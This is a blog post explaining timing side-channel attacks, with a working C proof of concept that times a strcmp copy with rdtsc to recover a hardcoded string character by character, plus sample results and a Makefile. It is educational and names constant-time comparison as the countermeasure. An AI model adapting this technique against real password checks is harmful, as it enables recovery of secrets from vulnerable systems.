joakimbech.com

The trash can full of ideas

Timing Attack - Proof of Concept

| Comments

You might have heard about timing attacks, but either thought it sounded too complicated to understand or that it is too complicated to actually do such an attack. In this post I’m going to give a brief overview of a timing attack and also provide some example code that you can play with on your own. Hopefully after reading this post you will understand that you cannot neglect this if you are creating a system where security is needed.

What is a timing attack

A timing attack is a so called side channel attack where you analyze the timing information on a system is such a way that it allows to break the protection of the system or a program running on it.

How is a timing attack done?

Typically you need to measure the amount of time needed to do operations of some kind. You can do this in several ways, for example you could hook up a set of probes on a chip or a PCB and watch the result on an oscilloscope or a logical analyzer. Another option is to simply leverage features from the CPU/architecture itself. On a normal PC running Intel (or AMD) you can use the time stamp counter rdtsc or a High Precision Event Timer hpet. Be aware that the time stamp counter isn’t reliable any longer, since process speeds can change (due to power management), you have context switches etc. But just for testing it can be good enough.

So you have found a way of taking time measures, what next? The easy answer is, start measure the execution time of sensitive functions. For example when calling functions that verifies password, functions that does encryption and such. Measuring the time needed for strcmp as exemplified in the proof of concept code below is easy. It becomes more complicated if you want to do the same when doing AES encryption for example. It is still doable, but you also need to know the algorithm to know where to look and how to interpretate the leaked information.

Countermeasures

TBD, but the main idea is that you need balance the string compare functions so that it always takes the same amount of time to perform.

Proof of concept

I have created a small proof of concept / testing program to show that it is actually not that complicated to do a timing attack. It is unlikely that it is as easy as this, but still, it gives the idea and shows that you can actually use timing to guess password, guesses that are fairly good. The main idea is to show how execution time actually varies when doing string comparison. The by using this information leakage we show that we can guess pretty good what we believe the correct character is in the correct password/string.

The algorithm

  1. Loop over all characters, one by one in the string that we want to check (“thisisalongstring” in this case).
  2. For every character in the string, do an inner loop, where you are looping from ‘a’ to ‘z’. For every call to the string comparison function record the amount of time it took. The letter that had longest execution time is most likely the correct character. Hence save that character in the in the array that contains guessed character.
  3. Lastly compare the correct string with guessed string to see if we got all timing based guesses correct or not.

Results

Here are the test result of a test run with debug information enabled

make DEBUG=1 && ./main 10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ./main 10
Shows a couple of examples of the time it takes to make string comparison
avg time long string (thisisalongstring): 821
avg time short string (foo): 532
avg time 0 char correct (XXX/foo): 486
avg time 1 char correct (fXX/foo): 495
avg time 2 char correct (foX/foo): 540
avg time 3 char correct (foo/foo): 561
Guessed that pw should be: thisisalongshring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thhbisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisisalongstring
Guessed that pw should be: thisimalongstrimf
Guessed that pw should be: thisisalongstrhng
6 successful timing attacks

The figures will vary, but they are almost always in the same region. Looking at:

Line 3: we can see that it takes 821 time units for a full and correct string compare of the string “thisisalongstring”.

Line 4: we can see that it takes 532 time units to correctly match the string “foo”.

Line 5-8: for every trail, we add a correct matching character and as expected we can see that the time increases for every correct character. This is because the string compare function as said before has a timing linear to the correct number of characters.

Line 9-19: shows the result when trying to guess the string “thisisalongstring” based on the time it takes to guess a, b, c, … z, for every character. This particular run we guessed correct 6 out or 10 times. Not that bad, it takes roughly 0.002 seconds to run everything above. According to Steve Gibson’s Password Haystack page, it takes approximately 3.75 centuries to brute force that password once using a what he calls a “massive cracking array scenario (assuming one hundred trillion guesses per second)”.

A couple of interesting things I’ve noticed

  • If I increase the TEST_LOOPS define I actually get much worse result?
  • If I turn on all optimizations, i.e. -O3, it doesn’t work at all.
  • The last character was always incorrectly guessed and that is the reason why I’ve added a space at the end of the string “thisisalongstring ”, which I later on strip away. I believe the reason for this problem is inaccuray using rdtsc.

If any reader of this post knows the answer to my reflections above, please leave a comment.

Source code

(time_attack_strcmp.c) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
/*
 * Time attack proof of concept / tutorial.
 *
 * Author: Joakim Bech <joakim.bech@gmail.com>
 * Date: 2014-02-02
 */
#include <stdbool.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#define TEST_LOOPS 1

#ifdef DEBUG
#define dprintf printf
#else
#define dprintf
#endif

/*
 * strcmp taken from from glibc 2.13, just for reference.
 * Compare S1 and S2, returning less than, equal to or
 * greater than zero if S1 is lexicographically less than,
 *  equal to or greater than S2.
 */
static int strcmp2(p1, p2)
  const char *p1;
  const char *p2;
{
  const unsigned char *s1 = (const unsigned char *) p1;
  const unsigned char *s2 = (const unsigned char *) p2;
  unsigned char c1, c2;

  do
  {
      c1 = (unsigned char) *s1++;
      c2 = (unsigned char) *s2++;
      if (c1 == '\0')
          return c1 - c2;
  }
  while (c1 == c2);

  return c1 - c2;
}

/*
 * Change "strcmp2" to some other comparing function that you want to test.
 */
static bool compare_strings(char* str1, char* str2)
{
  return strcmp2(str1, str2) == 0;
}

/*
 * A wrapper for the cpu instruction rdtsc, which stores the current cycle
 * number as a 64 bit number. The cpuid instruction is included because it
 * forces inorder execution. (See the 1997 Intel document on using rdtsc for
 * performance testing cited in the bibliography).
 * Grabbed from password.c by Dan Halperin (which also is a time attack proof
 * of concept).
 *
 * Be aware that rdtsc isn't reliable on a multicore system and power management
 * features have also made it even more inaccurate. However it works quite good
 * for the purpose of this demonstration.
 */
static inline uint64_t read_rdtsc(void)
{
  uint64_t d;
  __asm__ __volatile__ ("cpuid \n rdtsc" : "=A" (d));
  return d;
}

/*
 * Function that calculates the average time it takes to make TEST_LOOPS string
 * comparisons.
 */
static uint64_t do_stat(char *pw_ref, char *test_pw, char *test_str)
{
  uint64_t time_long = 0;
  uint64_t start = 0;
  uint64_t end = 0;
  uint64_t i = 0;

  for (i = 0; i < TEST_LOOPS; i++)
  {
      start = read_rdtsc();
      compare_strings(test_pw, pw_ref);
      end = read_rdtsc();
      time_long += (end - start);
  }

  if (test_str)
      printf("%s: %llu\n", test_str, time_long / i);

  return time_long / i;
}

/*
 * Function that makes a time attack on a provided password. I takes the correct
 * password, then it try to guess the correct letters in this provided password
 * one by one by calling a string compare function. Since the standard string
 * compare (strcmp) function is linear in time when it comes to find the correct
 * answer you can make fairly good guess to find the correct letter. This since
 * the correct letter will have slightly longer execution time compared to the
 * ones with incorrect letters. Therefore loop over a-z and store the letter
 * that had longest running time when doing string compare. Repeat this for all
 * letters and then finally do a full string comparison to see whether we
 * guessed correct or not.
 */
bool time_attack_pw(char *correct_pw)
{
  bool result = false;
  char current_char;
  int i = 0;
  int j = 0;
  uint64_t current_time = 0;
  uint64_t max_time_found = 0;
  char *calculated_string = calloc(strlen(correct_pw) + 1, sizeof(char));
  calculated_string[strlen(calculated_string)] = '\0';

  /* FIXME, why do we need to cut away one? rdtsc inaccuracy? */
  for (i = 0; i < strlen(correct_pw) - 1; i++)
  {
      max_time_found = 0;
      for (j = 'a'; j <= 'z'; j++)
      {
          current_char = j;
          current_time =
              do_stat(correct_pw + i, &current_char, NULL);

          if (current_time > max_time_found)
          {
              max_time_found = current_time;
              /*
              * Store the letter that gave longest the
              * response time for letter X in position i in
              * the array where we store all guesses.
              */
              calculated_string[i] = j;
          }
      }
  }
  dprintf("Guessed that pw should be: %s\n", calculated_string);
  /*
  * Check if the provided string completely matches the calculated
  * string. Ignore the last space, see FIXME above.
  */
  result = strncmp(correct_pw, calculated_string,
           strlen(correct_pw) - 1) == 0;
  free(calculated_string);

  return result;
}

int main(int argc, char *argv[])
{
  int i = 0;
  int correct_guesses = 0;
  /*
  * FIXME, last char gives strange values, we add a space here, and strip
  * it away in the time_attack_pw function. I suspect inaccurate rdtsc
  * instruction.
  */
  char* long_string = "thisisalongstring ";
  char* short_string = "foo";

  printf("%s\n", "Shows a couple of examples of the time it takes to make string comparison");
  (void)do_stat(long_string, long_string, "avg time long string (thisisalongstring)");
  (void)do_stat(short_string, short_string, "avg time short string (foo)");
  (void)do_stat(short_string, "XXX", "avg time 0 char correct (XXX/foo)");
  (void)do_stat(short_string, "fXX", "avg time 1 char correct (fXX/foo)");
  (void)do_stat(short_string, "foX", "avg time 2 char correct (foX/foo)");
  (void)do_stat(short_string, "foo", "avg time 3 char correct (foo/foo)");

  if (argc > 1)
  {
      for (i = 0; i < atoi(argv[1]); i++)
      {
          if (time_attack_pw(long_string))
              correct_guesses++;
      }
      printf("%d successful timing attacks\n", correct_guesses);
  }

  return 0;
}
(Makefile) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
CC     := gcc
CFLAGS := -O0 -g

OBJS   := time_attack_strcmp.o
BIN    := main

ifdef DEBUG
CFLAGS += -DDEBUG=$(DEBUG)
endif

all: $(BIN)

$(BIN): $(OBJS)
  $(CC) $(CFLAGS) -o $@ $^

%.o: %.c
  $(CC) -c $(CFLAGS) -o $@ $<
  @echo "  CC $<"

valgrind:
  valgrind --tool=memcheck --leak-check=full --show-reachable=yes ./$(BIN) 10

clean:
  rm -f $(OBJS) $(BIN)

Comments